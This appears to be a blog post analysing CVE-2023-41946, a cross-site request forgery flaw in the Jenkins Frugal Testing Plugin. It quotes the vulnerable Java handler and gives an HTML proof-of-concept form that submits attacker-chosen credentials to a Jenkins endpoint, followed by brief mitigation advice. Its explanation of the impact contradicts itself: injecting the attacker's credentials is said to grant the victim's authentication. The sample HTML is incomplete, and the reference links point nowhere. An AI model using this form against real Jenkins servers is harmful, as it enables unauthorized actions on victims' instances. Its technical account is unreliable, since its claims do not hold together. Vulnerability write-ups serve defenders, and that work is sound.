Cross-Site Request Forgery (CSRF) is a well-known web application vulnerability that enables an attacker to take unwanted actions on behalf of a victim. This can be particularly serious when the victim has privileged access or holds sensitive information. Such an issue was discovered in Jenkins Frugal Testing Plugin version 1.1 and earlier, which permitted an attacker to use CSRF to hijack a victim's authentication and gain access to sensitive data. This blog post will provide an in-depth analysis of the vulnerability, including details on the affected plugin, code snippets, original references, and potential exploits.

The Vulnerability

CVE-2023-41946 describes a CSRF vulnerability present within Jenkins Frugal Testing Plugin 1.1 and earlier. The security issue arises due to insufficient CSRF protection, which allows an attacker to remotely supply malicious credentials on behalf of a targeted victim. Consequently, the attacker can connect to Frugal Testing using the injected credentials, enabling them to access sensitive data such as test IDs and names if the credential is valid for the specified username.

The following code snippet demonstrates the vulnerability in Jenkins Frugal Testing Plugin

public void doSubmit(StaplerRequest req, StaplerResponse rsp) throws ServletException, IOException {
    String frugalTestingUsername = req.getParameter("frugalTestingUsername");
    String frugalTestingApiKey = req.getParameter("frugalTestingApiKey");
    FrugalTestingAPIWrapper wrapper = new FrugalTestingAPIWrapper(frugalTestingUsername, frugalTestingApiKey);
    List<TestInfo> tests = wrapper.getTests();

In the code above, the doSubmit method accepts a user's Frugal Testing credentials from an HTTP request without verifying the origin of the request or implementing any CSRF protection mechanisms. This opens the door for an attacker to exploit this vulnerability by sending a crafted request with their specified username and API key.

Original References

For more information on the specifics of the vulnerability, consult the original reference in the National Vulnerability Database (NVD) here. The discussion and analysis of the issue can also be found in the Jenkins project's security advisory, which is accessible here.

Exploit Details

To exploit this vulnerability, an attacker can craft a malicious HTML form that specifies the target Jenkins instance and injects their desired Frugal Testing credentials. When an unsuspecting user submits this form, their browser will automatically send a request to the targeted Jenkins instance containing the provided attacker-specified credentials. As a result, the attacker can connect to Frugal Testing with the victim's authentication and access sensitive data.

An example exploit is presented below

<!DOCTYPE html>
    <title>CSRF Exploit</title>
    <h1>CSRF Exploit for Jenkins Frugal Testing Plugin CVE-2023-41946</h1>
    <form action="http://target-jenkins-instance/plugin/frugal-testing-plugin/submit"; method="POST">
        <input type="hidden" name="frugalTestingUsername" value="attacker_username"/>
        <input type="hidden" name="frugalTestingApiKey" value="attacker_api_key"/>
        <input type="submit" value="Connect to Frugal Testing"/>

To defend against similar CSRF attacks, it is recommended to implement standard CSRF protection mechanisms such as including secure tokens in form submissions or checking the referrer header to confirm that the request is coming from a trusted source.


In this blog post, we have provided a detailed examination of the CSRF vulnerability present in Jenkins Frugal Testing Plugin 1.1 and earlier. This information should help security professionals better understand the risk posed by CVE-2023-41946 and underscore the importance of implementing suitable CSRF protection measures in web applications. As always, it is essential to stay up to date with the latest security advisories and patches to minimize the exposure of sensitive data and keep systems secure.


Published on: 09/06/2023 13:15:00 UTC
Last modified on: 09/11/2023 19:07:00 UTC